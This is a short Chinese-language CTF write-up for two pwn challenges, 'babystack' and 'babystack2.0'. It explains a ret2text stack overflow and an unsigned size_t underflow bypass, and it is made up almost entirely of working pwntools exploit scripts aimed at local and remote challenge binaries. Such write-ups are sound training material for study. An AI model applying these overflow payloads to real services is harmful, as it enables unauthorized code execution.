babystack很普通的一道ret2text题,此题本地打不通远程可打通,本地打通需要加上ret_addr

from pwn import *

elf=ELF('./babystack')

io=process('./babystack')
# io=remote("1.14.71.254",28204)
io.sendline(b'100')
ret_addr=0x400561
func_addr=0x4006E6
# payload=cyclic(0x18)+p64(func_addr)
payload=cyclic(0x18)+p64(ret_addr)+p64(func_addr)
io.sendline(payload)
io.interactive()



babystack2.0进一步考虑整数溢出绕过

size_t为无符号,1-1即可下界溢出,其余同原版

from pwn import *

elf=ELF('./babystack2.0')

# io=process('./babystack2.0')
io=remote("1.14.71.254",28264)
io.sendline(b'-1')
ret_addr=0x400599
func_addr=0x400726
payload=cyclic(0x18)+p64(func_addr)
# payload=cyclic(0x18)+p64(ret_addr)+p64(func_addr)
io.sendline(payload)
io.interactive()